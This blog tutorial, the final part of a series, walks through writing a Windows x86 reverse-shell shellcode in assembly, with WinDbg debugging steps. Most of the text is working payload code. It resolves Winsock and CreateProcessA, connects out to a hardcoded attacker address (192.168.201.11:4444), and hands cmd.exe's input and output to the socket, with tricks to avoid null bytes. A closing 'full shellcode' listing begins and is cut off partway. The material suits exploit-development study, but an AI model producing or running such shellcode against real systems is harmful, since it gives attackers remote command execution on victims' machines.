Introduction

This article focuses on finalizing the construction of a tcp socket connection as well as explains the instructions regarding the establishment of a cmd shell interaction with the attacking machine using x86 assembly. This is the third and final part of a blog series that focuses on how to create a custom Win32 reverse shell shellcode.

The full shellcode, and assembly instructions can also be found at

The first and second part of the blog series can be found at the following links

At the previous blog posts we have accomplished to find the kernelbase base address, and from there, we managed to access to the GetProcAddress function, which can help us further to retrieve the addresses of the exported functions from specified dynamic libraries. At this blog post we will continue from the point we stopped at the previous post. A first step in the process of constructing a tcp socket connection, is to search for the LoadLibraryA function in order to load the ws2_32.dll library, because we need to use the Winsock functions provided by this dynamic-link library.


Search for the LoadLibraryA function address

At this point we will be searching for the address of LoadLibraryA function in order use it later to load ws2_32.dll library. This library contains specific socket functions that will be used in our shellcode

XOR ECX,ECX     ; ECX = 0
PUSH EBX        ; kernelbase base address
PUSH EDX        ; GetProcAddress
PUSH ECX        ; 0
PUSH 41797261   ; "Ayra"
PUSH 7262694C   ; "rbiL"
PUSH 64616F4C   ; "daoL"
PUSH ESP        ; "LoadLibrary"
PUSH EBX        ; kernelbase base address
MOV  ESI, EBX   ; save the kernelbase address in esi for later
CALL EDX        ; GetProcAddress(LoadLibraryA)

At the assembly code above, at the first line, we set ecx to zero. Then, at the second line, we save ebx on the stack. As we saw at the previous blog post, the ebx register holds the kernelbase.dll base address and now we want to save this address on the stack in order to use it later. At the third line we also save the edx on the stack. The edx register contains the pointer to the GetProcAddress function.

At this point we need to use GetProcAddress in order to find the address of LoadLibraryA function from kernelbase.dll. More specifically, we have to initiate the following function call: GetProcAddress(kernelbase, "LoadLibraryA"). As we already know, the kernelbase address is placed inside the ebx register. Next we will place the "LoadLibraryA\0" string on the stack. The string must be NULL or \0 terminated and this can be achieved by pushing ecx on the stack which has the NULL byte value. Afterwards, we will place the "LoadLibraryA" string on the stack, four(4) bytes at a time in reverse order. First we are placing "Ayra", then "rbiL" and then "daoL", so the string on the stack will be "LoadLibraryA".

Furthermore, we will push the esp register on the stack and then it will point to the beginning of the LoadLibraryA string. Afterwards, we will push the ebx register on the stack which holds the kernelbase.dll base address. Then, we will save the kernelbase.dll address in esi in order to use it later. At last, we will call edx which holds a pointer at the GetProcAddress address.

In order to figure out that the above code works well, we must perform some debugging using WinDbg. First we must load the executable that we have previously compiled and build using Virtual Studio 2017. Below we see the source code of the testasm.exe executable.

#include <windows.h>

int main(int argc, char* argv[])
{
  LoadLibrary("user32.dll");
  _asm
  {
    // Locate Kernelbase.dll address
    XOR ECX, ECX              // zero out ECX
    MOV EAX, FS:[ecx + 0x30]  // EAX = PEB
    MOV EAX, [EAX + 0x0c]     // EAX = PEB->Ldr
    MOV ESI, [EAX + 0x14]     // ESI = PEB->Ldr.InMemoryOrderModuleList
    LODSD                     // memory address of the second list entry structure
    XCHG EAX, ESI             // EAX = ESI , ESI = EAX 
    LODSD                     // memory address of the third list entry structure
    XCHG EAX, ESI             // EAX = ESI , ESI = EAX 
    LODSD                     // memory address of the fourth list entry structure
    MOV EBX, [EAX + 0x10]     // EBX = Base address


    // Export Table 
    MOV EDX, DWORD PTR DS:[EBX + 0x3C]    //EDX = DOS->e_lfanew
    ADD EDX, EBX                          //EDX = PE Header
    MOV EDX, DWORD PTR DS:[EDX + 0x78]    //EDX = Offset export table
    ADD EDX, EBX                          //EDX = Export table
    MOV ESI, DWORD PTR DS:[EDX + 0x20]    //ESI = Offset names table
    ADD ESI, EBX                          //ESI = Names table
    XOR ECX, ECX                          //EXC = 0

    GetFunction :

    INC ECX                                 //increment counter
    LODSD                                   //Get name offset
    ADD EAX, EBX                            //Get function name
    CMP[EAX], 0x50746547                    //"PteG"
    JNZ SHORT GetFunction                   //jump to GetFunction label if not "GetP"
    CMP[EAX + 0x4], 0x41636F72              //"rocA"
    JNZ SHORT GetFunction                   //jump to GetFunction label if not "rocA"
    CMP[EAX + 0x8], 0x65726464              //"ddre"
    JNZ SHORT GetFunction                   //jump to GetFunction label if not "ddre"

    MOV ESI, DWORD PTR DS:[EDX + 0x24]      //ESI = Offset ordinals
    ADD ESI, EBX                            //ESI = Ordinals table
    MOV CX, WORD PTR DS:[ESI + ECX * 2]     //CX = Number of function
    DEC ECX                                 //Decrement the ordinal
    MOV ESI, DWORD PTR DS:[EDX + 0x1C]      //ESI = Offset address table
    ADD ESI, EBX                            //ESI = Address table
    MOV EDX, DWORD PTR DS:[ESI + ECX * 4]   //EDX = Pointer(offset)
    ADD EDX, EBX                            //EDX = GetProcAddress

    // Get the Address of LoadLibraryA function 
    XOR ECX, ECX              //ECX = 0
    PUSH EBX                  //Kernelbase base address
    PUSH EDX                  //GetProcAddress
    PUSH ECX                  //0
    PUSH 0x41797261           //"Ayra"
    PUSH 0x7262694C           //"rbiL"
    PUSH 0x64616F4C           //"daoL"
    PUSH ESP                  //"LoadLibrary"
    PUSH EBX                  //Kernelbase base address
    MOV  ESI, EBX             //save the Kernelbase address in esi for later
    CALL EDX                  //GetProcAddress(LoadLibraryA)
  
  }
  return 0;
}

It's worth to mention here that the code above until the 49th line has been analysed and explained in previous articles, [pt .1] and [pt .2] accordingly.

Starting our analysis, we open WinDbg and then by pressing Ctrl+E we are able to load the executable. Furthermore, at the current Windows machine the path of the executable file is located at the pathC:\Users\Xenofon\source\repos\testasm\Debug. Afterwards, we will load the debug symbols running the command .symfix in WinDbg and also running the command .sympath+ C:\Users\Xenofon\source\repos\testasm\testasm\Debug, in order to load the symbols from the corresponding .pdb file. Then we run the command .reload in order to reload the symbols in WinDbg. In order to see the symbols we run x testasm!*

Then, running lm we see the name of the executable

0:000> lm 
start    end        module name
00f80000 00f9f000   testasm  C (private pdb symbols)  C:\ProgramData\dbg\sym\testasm.pdb\AB9156DB047544CF917F630DA807EA0D3\testasm.pdb
712d0000 71444000   ucrtbased   (deferred)             
71450000 7146b000   VCRUNTIME140D   (deferred)             
75cb0000 75ec3000   KERNELBASE   (deferred)             
75f50000 76040000   KERNEL32   (deferred)             
77580000 77722000   ntdll      (pdb symbols)          C:\ProgramData\dbg\sym\wntdll.pdb\DBC8C8F74C0E3696E951B77F0BB8569F1\wntdll.pdb

Afterwards, we run bu testasm!main in order to put a breakpoint in the main function of the executable.

0:000> bu testasm!main
0:000> bl
     0 e Disable Clear  00f916f0     0001 (0001)  0:**** testasm!main

Moreover, at this exercise, WinDbg has been opened using a workspace with the dark-green theme loaded. The dark-green theme can found it at this repo . Using the theme, we can see many windows in WinDbg without running extra commands, which is very usefull. Among other windows, the following screenshot shows the source code window. Running the g command, the execution will continue until we hit the breakpoint and the line of code is highlighted in red as seen at the screenshot below.

WinDbg Source Code

Furthermore, we are now in position to put a breakpoint at the first instruction XOR ECX, ECX. Moreover, we can proceed further and press Alt+7 or press view->disassembly in order to open a new dissasembly window that shows the instructions and corresponding addresses of the provided source code as we also see at the image below.

WinDbg Disassembly Window

Call the LoadLibraryA to load ws2_32.dll

In order to find the addresses of the following functions

  • WSAStartup
  • WSASocketA
  • connect

These functions can be found inside the following .dll library

  • ws2_32.dll

At this point we need to load the ws2_32.dll library by using LoadLibraryA. So, to find the address of the functions above, we will first load the ws2_32.dll library using the assembly code below

ADD ESP,0xC          ; pop "LoadLibraryA"
POP EDX              ; EDX = 0
PUSH EAX             ; EAX = LoadLibraryA
PUSH EDX             ; EDX = 0
MOV DX,0x6C6C        ; "ll"
PUSH EDX
PUSH 0x642E3233      ; "d.23"
PUSH 0x5F327377      ; "_2sw"
PUSH ESP             ; "ws2_32.dll"
CALL EAX             ; LoadLibrary("ws2_32.dll")

First we clean up the stack. In line two, before pushing the address of LoadLibraryA on the stack, we remove the zero value placed on top of the stack using pop edx and this also sets the edx register to zero. The address of LoadLibraryA will be saved on the stack in order to use it later, and that because after calling a function, the return value will be saved inside the eax register, thus changing its current value.

Now it is time to call LoadLibrary("ws2_32.dll"). So we need to place the string "ws2_32.dll" on the stack. Moreover, the string length is not a multiple of 4 bytes and we cannot directly place it onto the stack. Instead, we push the edx register on the stack, which has the 0x0 value, and then we use the dx register to place the "ll" string on the stack ( 0x6C6C in hex ). Afterwards, we push the "ws2_32.d" string on the stack and then by pushing the esp register on the stack we are located at the begining of the"ws2_32.dll" string. Then, by calling eax, the ws2_32.dll library is loaded. Then, the base address of ws2_32.dll is the address where the DLL is loaded into the memory and it will be returned in eax register.

Get the WSAStartup address using GetProcAddress

At this point we first need to find the address of the following function

; Find the address of WSAStartup
ADD  ESP,0x10                      ; Clean stack
MOV  EDX, [ESP+0x4]                ; EDX = GetProcAddress
PUSH 0x61617075                    ; "aapu"
SUB  WORD [ESP + 0x2], 0x6161      ; "pu" (remove "aa")
PUSH 0x74726174                    ; "trat"
PUSH 0x53415357                    ; "SASW"
PUSH ESP                           ; "WSAStartup"
PUSH EAX                           ; ws2_32.dll address
MOV  EDI, EAX                      ; save ws2_32.dll to use it later
CALL EDX                           ; GetProcAddress(WSAStartup)

Again, on the first line we have to clean the stack. In line two, the address of GetProcAddress function will be placed inside the edx register. It is worth to mention that after a function call, the eax, </ecx> and edx will be modified because they are not preserved. We can also check that [esp+0x4] points to the GetProcAddress function either by watching the memory bytes in little endian format or by using the dt poi(esp+0x4) command in WinDbg when debugging the executable

0:000> db esp 
0083f924  30 f6 7d 75 a0 63 7e 75-00 00 6d 75 20 13 88 00  0.}u.c~u..mu ...
0083f934  20 13 88 00 00 e0 a8 00-cc cc cc cc cc cc cc cc   ...............
0083f944  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................
0083f954  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................
0083f964  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................
0083f974  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................
0083f984  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................
0083f994  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................
0:000> dt poi(esp+0x4)
GetProcAddress
0:000> x kernelbase!GetProcAddress
757e63a0         KERNELBASE!GetProcAddress (void)

We can also see this in the Disassembly Window in Windbg

008817ac 8b542404  mov  edx,dword ptr [esp+4] ss:002b:0083f928={KERNELBASE!GetProcAddress (757e63a0)}

Now its time to call GetProcAddress(ws2_32.dll, "WSAStartup"), so we need to push "WSAStartup" string on the stack. Moreover, the string length is not a multiple of 4 bytes and we cannot directly place it on the stack. Instead, we will first push 0x61617075 hex value on the stack which represents the value "aapu" in ascii char format. Then, the next instruction will remove the two suplementary a's leaving the "pu" part of the string untouched. Afterwards the string "trat" and then the string "SASW" will also be pushed into the stack in little endian format. Next, we will push the eax register which contains the ws2_32.dll base address and then before we call the GetProcAddress function, we should save its address in EDI register to use it later. Then, we will call GetProcAddress. At this point we will have the address of WSAStartup function in eax register.

Call the WSAStartup function

Now that we know the address of WSAStartup function, it is time to call and execute this function. Acording to Microsoft Docs, the function prototype of the WSAStartup function is the following


int WSAStartup(
  WORD      wVersionRequired,
  LPWSADATA lpWSAData
);

Function parameters :

wVersionRequired

  • The highest version that the calling application requires

lpWSAData

  • A pointer to the WSAData data structure that is to receive details of the Windows Sockets implementation.

The WSAStartup function initializes the utilization of the winsock DLL. The following code used to implement the WSAStartup function.

;; Call WSAStartup
XOR  EBX, EBX          ; zero out ebx register
MOV  BX,  0x0190       ; EAX = sizeof( struct WSAData )
SUB  ESP, EBX          ; allocate space for the WSAData structure
PUSH ESP               ; push a pointer to WSAData structure
PUSH EBX               ; Push EBX as wVersionRequested 
CALL EAX               ; Call WSAStartUp

At the first line above, the ebx register is zeroed out. Then, at the second line, the hex value 0x190 which is the length of the WSAData structure will be moved to the lower register BX. In order to be sure about the length of the WSAData structure, we can compile and run the following program in visual studio


#define WIN32_LEAN_AND_MEAN

#include <windows.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32.lib")

int __cdecl main()
{
  WORD wVersionRequested;
  WSADATA wsaData;
  int err;
  wVersionRequested = MAKEWORD(2, 2);
  err = WSAStartup(wVersionRequested, &wsaData);
  printf("WSAStartup structure size: 0x%x\n\n", sizeof(wsaData));
  WSACleanup();
}

As seen at the screenshot below, the length of the WSAData structure is 0x190

WSAData Length

Furthemore, at the third line we are making some space on the stack for the WSAData structure and then esp points to WSAData structure. A pointer to the WSAData structure is generally used to receive details of the Windows Sockets implementation. Then at the fifth line we will push the version of the WSAData structure. The fifth instruction worked because, if the version requested by the application is equal to or higher than the lowest version supported by the Winsock DLL, the call succeeds and the Winsock DLL returns detailed information in the WSADATA structure pointed to by the lpWSAData parameter. For this reason we have used the length of the WSAData stored at EBX, because the value is much bigger than the supported version and this allow us to use lesser assembly code which also means lesser opcodes. In general, the current version of the Windows Sockets specification is version 2.2. At the last line we execute the WSAStartup function.

Get WSASocketA using GetProcAddress

At this point we are in position to search for the address of WSASocketA function. The following assembly code will be used in order to find the address of the WSASocketA function

;;Find the address of WSASocketA
ADD  ESP,0x10                  ;Align the stack
XOR  EBX, EBX                  ;zero out the EBX register
ADD  BL, 0x4                   ;add 0x4 at the lower register BL
IMUL EBX, 0x64                 ;EBX = 0x190
MOV  EDX,[ESP+EBX]             ;EDX has the address of GetProcAddress
PUSH dword 0x61614174          ;"aaAt"
SUB  word [ESP + 0x2], 0x6161  ;"At" (remove "aa")
PUSH dword 0x656b636f          ;"ekco"
PUSH dword 0x53415357          ;"SASW"
PUSH ESP                       ;"WSASocketA" ,GetProcAddress 2nd argument 
MOV  EAX, EDI                  ;EAX now holds the ws2_32.dll address
PUSH EAX                       ;push the first argument of GetProcAddress
CALL EDX                       ;call GetProcAddress
PUSH EDI                       ;save the ws2_32.dll address to use it later

Now its time to call GetProcAddress(ws2_32.dll, "WSASocketA"), so we have to push "WSASocketA" string on the stack. Moreover, once again, at the first line we are making space on the stack. Then, at the second line we are zeoroing out the EBX register. At lines 3-5 we are moving the contents pointed by [ESP+0x190] ( the address of GetProcAddress ) to the EDX register. We can see this in memory below

0:000> db esp L200
001efb48  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
001efb58  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
001efb68  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
001efb78  ee 03 1b 77 7a 14 65 f6-80 fc 1e 00 38 10 14 77  ...wz.e.....8..w
001efb88  90 a4 5b 00 c8 17 57 00-00 00 00 00 48 11 14 77  ..[...W.....H..w
001efb98  c8 fc 1e 00 c8 17 57 00-2b 12 14 77 00 00 00 00  ......W.+..w....
001efba8  b4 fc 1e 00 00 00 00 00-c8 fc 1e 00 00 00 00 00  ................
001efbb8  65 00 72 00 09 00 00 00-c8 17 57 00 60 3a 5b 00  e.r.......W.`:[.
001efbc8  09 00 00 00 04 00 00 00-c0 9c 92 76 90 a4 5b 00  ...........v..[.
001efbd8  c8 fc 1e 00 58 4d 5b 00-0c fe 1e 00 20 94 17 77  ....XM[..... ..w
001efbe8  fe 41 5b 81 fe ff ff ff-4c fc 1e 00 7d 51 18 77  .A[.....L...}Q.w
001efbf8  50 4d 5b 00 a4 51 18 77-58 4d 5b 00 00 00 5b 00  PM[..Q.wXM[...[.
001efc08  00 00 c5 76 00 00 00 00-00 00 00 00 00 00 00 00  ...v............
001efc18  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
001efc28  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
001efc38  00 00 00 00 58 52 75 6e-6e 69 6e 67 00 00 5b 00  ....XRunning..[.
001efc48  88 fc 1e 00 6c fc 1e 00-86 86 14 77 00 00 00 00  ....l......w....
001efc58  00 00 00 00 00 00 00 00-ac fd 1e 00 a8 fc 1e 00  ................
001efc68  00 00 c5 76 80 fc 1e 00-68 ba 12 77 00 00 5b 00  ...v....h..w..[.
001efc78  00 00 00 00 fe 13 65 f6-b8 fc 1e 00 ea 63 d6 76  ......e......c.v
001efc88  00 00 92 76 ac fc 1e 00-00 00 00 00 b4 fc 1e 00  ...v............
001efc98  00 00 00 00 c8 17 57 00-ac fd 1e 00 00 00 c5 76  ......W........v
001efca8  00 00 c5 76 0a 00 0b 00-c8 fc 1e 00 c0 9c 92 76  ...v...........v
001efcb8  ac fd 1e 00 c8 17 00 00-00 00 92 76 c8 fc 1e 00  ...........v....
001efcc8  57 53 41 53 74 61 72 74-75 70 00 61 30 f6 d5 76  WSAStartup.a0..v
001efcd8  a0 63 d6 76 00 00 c5 76-20 13 57 00 20 13 57 00

As we see above (highlighted in red) at address 001efcc8, there is the argument "WSAStartup" that we have used earlier with GetProcAddress function, when we were searching for the address of WSAStartup function.

Furthermore, we can confirm that the highlighted address above points to the GetProcAddress function

0:000> dt poi(001efcd8)
GetProcAddress

Moreover, we cannot just use the instruction mov EBX, [ESP+0x190] because this instruction produces null bytes as we also see below.

nasm > mov ebx, [esp+0x190]
00000000  8B9C2490010000    mov ebx,[esp+0x190]
nasm >

In order to avoid the null bytes, we should first add the hex value 0x4 at the lower BL register. Afterwards, we multiply EBX with 0x64 and finally EBX has the hex value 0x190. This way we have avoided the null bytes.

nasm > add BL, 0x4
00000000  80C304            add bl,0x4
nasm > imul EBX, 0x64
00000000  6BDB64            imul ebx,ebx,byte +0x64

Then, we add the ESP register with EBX which sets the value of GetProcAddress at the EDX register. Furthermore, at lines 6-9 we are pushing on the stack the string "At", then the "ekco" and then the "SASW" in reverse order because of the little endian format. After that, at the tenth line, ESP is pointing at the begining of "WSASocketA" and this is the second argument of GetProcAddress. Furthermore, at lines 11-12, we want to push the first argument of GetProcAddress on the stack. In order to do this, the EDI register which holds ws2_32.dll address, will be moved in eax register. Then we call GetProcAddress. At this point, after we call GetProcAddress with call edx instruction, we have the address of WSASocketA function in eax register. Next, as seen at the screenshot below, observing the registers, we see that the address of the ws2_32.dll library is located at the edi register.

ws2_32_on_EDI

Now, we push edi in order to save the address of ws2_32.dll library on the stack for later use.

Call the WSASocketA function

Now that we know the address of WSASocketA function, it is time to call and execute the function. Acording to Microsoft Docs, the function prototype of the WSASocketA is the following

SOCKET WSAAPI WSASocketA(
  int                 af,
  int                 type,
  int                 protocol,
  LPWSAPROTOCOL_INFOA lpProtocolInfo,
  GROUP               g,
  DWORD               dwFlags
);

Function parameters :

af

  • The address family specification.

type

  • The type specification for the new socket.

protocol

  • The protocol to be used.

lpProtocolInfo

  • A pointer to a WSAPROTOCOL_INFO structure that defines the characteristics of the socket to be created.

g

  • An existing socket group ID or an appropriate action to take when creating a new socket and a new socket group.

dwFlags

  • A set of flags used to specify additional socket attributes.

This function creates a socket. The following arguments passed to the function

  • 2 == AF_INET (IPv4)
  • 1 == SOCK_STREAM (TCP)
  • 6 == IPPROTO_TCP (TCP)
  • NULL == no value for lpProtocolInfo
  • 0 == since we don't have an existing "socket group"
  • NULL == no value for dwFlags

The following assembly code implements the WSASocketA function

;call WSASocketA
XOR ECX, ECX       ;zero out ECX register 
PUSH EDX           ;null value for dwFlags                                    
PUSH EDX           ;zero value since we dont have an existing socket group
PUSH EDX           ;null value for lpProtocolInfo
MOV  DL, 0x6       ;IPPROTO_TCP
PUSH EDX           
INC  ECX           ;SOCK_STREAM (TCP)
PUSH ECX
INC  ECX           ;AF_INET (IPv4)
PUSH ECX   
CALL EAX           ;call WSASocketA
XCHG EAX, ECX      ;save socket descriptor into ecx in orddr to use it later

At the first line we zero out ecx register, and after that because we dont need additional socket attributes, we set the dwFlags argument with a null value. At the third line, because we dont want to perform any socket group operation, we are pushing the zero value on the stack. In the same manner, at the fourth line, we dont need to define characteristics to the new socket, so we are pushing the null value on the stack. Furthermore, at the fifth line, we are setting the protocol to be used. Here we are using TCP. At lines 6-7, we are setting the type parameter to SOCKET_STREAM (TCP). At lines 8-9, we are setting the internet protocol version 4 (IPv4). At the 10th line, we execute WSASocketA. At the 11th line, we are saving the socket descriptor to ecx register in order to use it later.

Get connect using GetProcAddress

At this point we are ready to search for the address of connect function.

  • connect

The following assembly code will be used in order to find the address of the connect function

;; Find the address of connect 
POP  EDI                             ;load previously saved ws2_32.dll address to ECX
ADD  ESP, 0x10                       ;Align stack
XOR  EBX, EBX                        ;zero out EBX
ADD  BL, 0x4                         ;add 0x4 to lower register BL
IMUL EBX, 0x63                       ;EBX = 0x18c
MOV  EDX, [ESP + EBX]                ;EDX has the address of GetProcAddress
PUSH 0x61746365                      ;"atce"
SUB  word [ESP + 0x3], 0x61          ;"tce" (remove "a")
PUSH 0x6e6e6f63                      ;"nnoc"
PUSH ESP                             ;"connect", second argument of GetProcAddress
PUSH EDI                             ;ws32_2.dll address, first argument of GetProcAddress
XCHG ECX, EBP                        ;save socket descriptor to EBP registry for later use
CALL EDX                             ;call GetProcAddress                

At the first line, edi register has the address of ws2_32.dll. At the second line, we are aligning the stack. At lines 3-6, we are getting the address of the GetProcAddress function. At lines 7-9, we are pushing the string, "connect", in reverse order due to little endian format. At the tenth line, we are pushing the second argument of GetProcAddress which is the name of the connect function. This is done by pushing the esp register on the stack. Then, we push the first argument of GetProcAddress on the stack, which is the ws32_2.dll address. Afterwards, we are saving the socket descriptor we have aquired earlier into the ebp register to use it later. Then we call GetProcAddress and then the address of connect function will be returned in eax register

Call the connect function

Next, we implement the connect function. According to Microsoft Docs, the connect function establishes a connection to a specified socket.

connect function prototype :

int WSAAPI connect(
  SOCKET         s,
  const sockaddr *name,
  int            namelen
);

Function parameters :

s

  • A descriptor identifying an unconnected socket.

name

  • A pointer to the sockaddr structure to which the connection should be established.

namelen

  • The length, in bytes, of the sockaddr structure pointed to by the name parameter.

The following code implements the connect function

;call connect
PUSH 0x0bc9a8c0          ;sin_addr set to 192.168.201.11
PUSH word 0x5c11         ;port = 4444
XOR  EBX, EBX            ;zero out EBX
add  BL, 0x2             ;TCP protocol
PUSH word BX             ;push the protocol value on the stack
MOV  EDX, ESP            ;pointer to sockaddr structure (IP,Port,Protocol)
PUSH byte  16            ;the size of sockaddr - 3rd argument of connect
PUSH EDX                 ;push the sockaddr - 2nd argument of connect
PUSH EBP                 ;socket descriptor = 64 - 1st argument of connect
XCHG EBP, EDI            ;save socket descriptor to EDI to use it later
CALL EAX                 ;execute connect;

At lines 1-6, we are setting the sockaddr structure ( Port, IP, Protocol ) and then the edx register will hold the pointer of sockaddr structure. Afterwards, at lines 7-9, we are setting the arguments of the connect function in reverse order. First we push the size of the sockaddr structure on the stack, then we push the address of thesockaddr structure on the stack and finally we also push on the stack, the socket descriptor that was saved before into ebp. Afterwards, before we execute connect function, we save the socket descriptor into edi for later use. Finally, we call connect function.

Get CreateProcessA using GetProcAddress

At this point we will search for the address of CreateProcessA function.

  • CreateProcessA

The following assembly code will be used in order to find the address of the CreateProcessA function

;; Find the address of CreateProcessA
ADD  ESP,0x14                        ;Clean stack
XOR  EBX, EBX                        ;zero out EBX
ADD  BL, 0x4                         ;add 0x4 to lower register BL
IMUL EBX, 0x64                       ;EBX = 0x190
MOV  EDX,[ESP+EBX]                   ;EDX has the address of GetProcAddress
PUSH 0x61614173                      ;"aaAs"
SUB  word [ESP + 0x2], 0x6161        ;"As" ( remove "aa")
PUSH 0x7365636f                      ;"seco"
PUSH 0x72506574                      ;"rPet"
PUSH 0x61657243                      ;"aerC"
PUSH ESP                             ;"CreateProcessA" - 2nd argument of GetProcAddress
MOV  EBP, ESI                        ;move the kernel32.dll to EBP
PUSH EBP                             ;kernel32.dll address - 1st argument of GetProcAddress
CALL EDX                             ;execute GetProcAddress
PUSH EAX                             ;address of CreateProcessA
LEA EBP, [EAX]                       ;EBP now points to the address of CreateProcessA

At the first line we are aligning the stack. Then, at lines 2-5 we are getting the address of the GetProcAddress function. At lines 6-11, we are pushing onto the stack, the second argument of GetProcAddress function in reverse order, which sets the string "CreateProcessA". In order to do that, we are first pushing the string "As", then "seco", then "rPet" and finally the string "aerC". Next, esp regsister points at the top of the stack at the begining o the string "CreateProcessA". At line 12, we are moving the kernel32.dll address that was saved inside esi, into the ebp register. Then at line 13, we are pushing the first argument of GetProcAddress into the stack. At line 14, we are calling GetProcAddress. Then, at line 15, the returned address of CreateProcessA function will be saved into the stack. Then the address of eax will be loaded into the ebp, which will point to the address of CreateProcessA register.

Call the CreateProcessA function

Next, the CreateProcessA function will be implemented. According to Microsoft Docs, the CreateProcessA function creates a new process and its primary thread. The new process runs in the security context of the calling process.

Following we can see the CreateProcessA function prototype

BOOL CreateProcessA(
  LPCSTR                lpApplicationName,
  LPSTR                 lpCommandLine,
  LPSECURITY_ATTRIBUTES lpProcessAttributes,
  LPSECURITY_ATTRIBUTES lpThreadAttributes,
  BOOL                  bInheritHandles,
  DWORD                 dwCreationFlags,
  LPVOID                lpEnvironment,
  LPCSTR                lpCurrentDirectory,
  LPSTARTUPINFOA        lpStartupInfo,
  LPPROCESS_INFORMATION lpProcessInformation
);

Function parameters :

lpApplicationName

  • The name of the module to be executed. This module can be a Windows-based application.

lpCommandLine

  • The command line to be executed.

lpProcessAttributes

  • A pointer to a SECURITY_ATTRIBUTES structure that determines whether the returned handle to the new process object can be inherited by child processes.

lpThreadAttributes

  • A pointer to a SECURITY_ATTRIBUTES structure that determines whether the returned handle to the new thread object can be inherited by child processes.

bInheritHandles

  • If this parameter is TRUE, each inheritable handle in the calling process is inherited by the new process.

dwCreationFlags

  • The flags that control the priority class and the creation of the process.

lpEnvironment

  • A pointer to the environment block for the new process. If this parameter is NULL, the new process uses the environment of the calling process.

lpCurrentDirectory

  • The full path to the current directory for the process. The string can also specify a UNC path.

lpStartupInfo

  • A pointer to a STARTUPINFO or STARTUPINFOEX structure.

lpProcessInformation

  • A pointer to a PROCESS_INFORMATION structure that receives identification information about the new process.

The following code used to impement and call the CreateProcessA function

PUSH 0x61646d63                      ;"admc"
SUB  dword [ESP + 0x3], 0x61         ;"dmc" (remove "a")
MOV  ECX, ESP                        ;ecx now points to "cmd" string

At Lines 1-3 above, the instructions are setting the ECX register to point to "cmd" string. This is the lpProcessInformation argument of CreateProcessA, and provides the name of the module to be executed

XOR  EDX, EDX                        ;zero out EDX
SUB  ESP, 16 
MOV  EBX, ESP                        ;pointer for ProcessInfo

As we see at the code above, at the first line we zero out the EDX register. At lines 2-3, we are setting the EBX register to point to PROCESS_INFORMATION structure.

PUSH EDI                             ;hStdError  => saved socket
PUSH EDI                             ;hStdOutput => saved socket
PUSH EDI                             ;hStdInput  => saved socket
PUSH EDX                             ;lpReserved2 => NULL 
PUSH EDX                             ;cbReserved2 => NULL
XOR  EAX, EAX                        ;zero out EAX register
INC  EAX                             ;EAX => 0x00000001
ROL  EAX, 8                          ;EAX => 0x00000100
PUSH EAX                             ;dwFlags => STARTF_USESTDHANDLES 0x00000100
PUSH EDX                             ;dwFillAttribute => NULL
PUSH EDX                             ;dwYCountChars => NULL
PUSH EDX                             ;dwXCountChars => NULL
PUSH EDX                             ;dwYSize => NULL
PUSH EDX                             ;dwXSize => NULL
PUSH EDX                             ;dwY => NULL
PUSH EDX                             ;dwX => NULL
PUSH EDX                             ;pTitle => NULL
PUSH EDX                             ;pDesktop => NULL
PUSH EDX                             ;pReserved => NULL
XOR  EAX, EAX                        ;zero out EAX          
ADD  AL, 44                          ;cb => 0x44 (size of struct)
PUSH EAX                             ;eax points to STARTUPINFOA

Later on, as we see at the code above, we continue setting up the STARTUPINFOA structure. At lines 1-3 above, we are setting up the standard input, the standard output and the standard error by putting the socket file descriptor into the struct members hStdInput, hStdOutput, and hStdError. At the fourth line above, the cbReserved2 is reserved for use by the C run-time and must be zero. Same for lpReserved2 at the fifth line. At lines 6-9, we are setting the STARTF_USESTDHANDLES struct member with the value 0x00000100. Then, at lines 7-16, All the other values of STARTUPINFOA structure should be null. At seventeenth line, the cb member holds the size of the STARTUPINFOA structure which is 0x44 in hex. Then, at eighteenth line, the EAX register contains a pointer to STARTUPINFOA structure

;;ProcessInfo struct
MOV  EAX, ESP                        ;pStartupInfo
PUSH EBX                             ;pProcessInfo
PUSH EAX                             ;pStartupInfo
PUSH EDX                             ;CurrentDirectory => NULL
PUSH EDX                             ;pEnvironment => NULL
PUSH EDX                             ;CreationFlags => 0
XOR  EAX, EAX                        ;zero out EAX register                    
INC  EAX                             ;EAX => 0x00000001
PUSH EAX                             ;InheritHandles => TRUE => 1
PUSH EDX                             ;pThreadAttributes => NULL
PUSH EDX                             ;pProcessAttributes => NULL
PUSH ECX                             ;pCommandLine => pointer to "cmd"
PUSH EDX                             ;ApplicationName => NULL
CALL EBP                             ;execute CreateProcessA 

At the code above, we are now starting the setup of CreateProcessA function. At lines 1-3 ,we are pushing the pointers of STARTUPINFOA and PROCESS_INFORMATION structures onto the stack as the two last arguments of the CreateProcessA function. Afterwards, at lines 4-6 we are setting the next three arguments of CreateProcessA function, the CurrentDirectory, and the pEnvironment with nulls, and the CreationFlags with zero. At lines 7-9 , we are setting the InheritHandles to TRUE, and that, because the STARTF_USESTDHANDLES was set before with 0x00000100. Next, at lines 10-11, we are setting the pThreadAttributes and pProcessAttributes with null. At line 12, we set the pointer to "cmd". At line 13 , we set the ApplicationName to null and then we call CreateProcessA function.

Full Reverse TCP Shellcode

The following assembly code represents the code used to perform a reverse tcp socket connection at IP address 192.168.201.11 and port 4444

[BITS 32]

global _start

section .text

_start:

; Locate Kernelbase.dll address
XOR ECX, ECX                    ;zero out ECX
MOV EAX, FS:[ecx + 0x30]        ;EAX = PEB
MOV EAX, [EAX + 0x0c]           ;EAX = PEB->Ldr
MOV ESI, [EAX + 0x14]           ;ESI = PEB->Ldr.InMemoryOrderModuleList
LODSD                           ;memory address of the second list entry structure
XCHG EAX, ESI                   ;EAX = ESI , ESI = EAX
LODSD                           ;memory address of the third list entry structure
XCHG EAX, ESI                   ;EAX = ESI , ESI = EAX
LODSD                           ;memory address of the fourth list entry structure
